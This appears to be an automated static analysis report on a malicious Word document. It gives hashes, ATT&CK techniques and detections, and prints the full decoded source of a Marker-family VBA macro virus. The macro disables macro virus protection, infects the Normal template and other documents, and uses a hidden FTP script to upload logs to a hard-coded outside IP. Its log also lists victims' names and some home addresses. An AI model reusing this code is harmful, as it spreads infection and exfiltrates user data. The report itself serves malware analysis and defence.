Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8d07804acd981c28…

MALICIOUS

Office (OLE)

57.5 KB Created: 2014-01-22 22:28:00 Authoring application: Microsoft Word 11.2 First seen: 2015-09-20
MD5: 11e64ec5eac4acc98d728b68488f6503 SHA-1: 89a46dfbed4058180c0c94400436cf03a4b6baf1 SHA-256: 8d07804acd981c285849d12b97cb68729dd592d2b341b4b7371e1f79b83827ac
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1505.003 Server Software Component: Exploit Public-Facing Application T1190 Exploit Public-Facing Application T1071.001 Web Protocols: HTTP T1105 Ingress Tool Transfer

The VBA macro code explicitly disables virus protection and attempts to write a second-stage payload to a file named 'c:\netldx.vxd' which then attempts to connect to '209.201.88.110' via FTP to upload a file and potentially download further components. The macro also attempts to tamper with VBA project code and disable macro virus protection, indicating self-replication or AV evasion tactics.

Heuristics 6

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    'Switch the VirusProtection OFF
Options.VirusProtection = False
  • Urgency / deadline lure low SE_URGENCY_LURE
    Document contains urgency or deadline language ('account will be terminated', 'action required within 24 hours', etc.) — useful context, but low-signal without other findings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ogimachi.net In document text (OLE body)
    • https://sites.google.com/a/sccs.santacruz.k12.ca.us/tonie-ogimachi-s-spanish-classes-website/homeIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5774 bytes
SHA-256: 8cf5133d97562c21058111450534b9719bf694989c63c94a1c92785f5feb3684
Detection
ClamAV: Doc.Trojan.Marker-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 11:37:56 AM - Tuesday, 29 Dec 1998
' Dan Ross
'



' 09:50:06 AM - Monday, 11 Jan 1999
' Karen M. Pinks
'



' 05:54:30 PM - Thursday, 21 Jan 1999
' Thomas M. Burke
'



' 05:09:47 PM - Monday, 25 Jan 1999
' Robbin V.Varnado-Williams
'



' 10:09:58 AM - Tuesday, 2 Feb 1999
' Marianne Bordogna
'



' 01:38:49 PM - Monday, 8 Feb 1999
' Barbara W. Seigle
'



' 10:49:44 AM - Tuesday, 16 Feb 1999
' DSHINMA
'



' 01:04:30 PM - Thursday, 18 Feb 1999
' DKWATSO
'



' 10:59:07 AM - Saturday, 20 Feb 1999
' Charles Graves
'



' 03:29:06 PM - Monday, 22 Feb 1999
' Evelina A. Olson
'



' 05:10:50 PM - Thursday, 25 Feb 1999
' Station
'



' 11:41:57 PM - Tuesday, 2 Mar 1999
' Nakao
'



' 11:44:27 AM - Saturday, 6 Mar 1999
' cc167hh
'



' 09:37:01 AM - Thursday, 18 Mar 1999
' ALSS Computer Lab
'



' 01:25:09 PM - Thursday, 18 Mar 1999
' ALSS Computer Lab
'



' 03:57:55 PM - Monday, 29 Mar 1999
' ALSS Computer Lab
'



' 12:15:14 PM - Tuesday, 20 Apr 1999
' ALSS Computer Lab
'



' 02:21:52 PM - Friday, 4 Jun 1999
' Freyja
' Freyja Knapp
' 1325 Everett St.
' El Cerrito, CA  94530



' 05:03:46 PM - Tuesday, 14 Sep 1999
' Preferred Customer
' adam.com
' 90 Tehama Street
' San Francisco, CA  94104



' 02:12:37 PM - Friday, 28 Jan 2000
' Laurie West
'



' 04:15:43 PM - Friday, 11 Feb 2000
' adam.com
'



' 09:00:05 PM - Wednesday, 5 Apr 2000
' Jeff Fillingim-Selk
'



' 09:41:39 AM - Thursday, 24 Aug 2000
' Santa Cruz High School
'



' 07:23:11 AM - Wednesday, 4 Oct 2000
' Malcolm Terence
'



' 10:48:47 AM - Monday, 9 Oct 2000
' Jonnum
'



' 12:45:49 AM - Tuesday, 29 May 2001
' Jesse Di Marco
'


' 04:17:43 PM - Friday, 27 Jan 2006
' Dennis Diego
'


' 01:28:11 PM - Wednesday, 5 Oct 2011
' Santa Cruz High School
'

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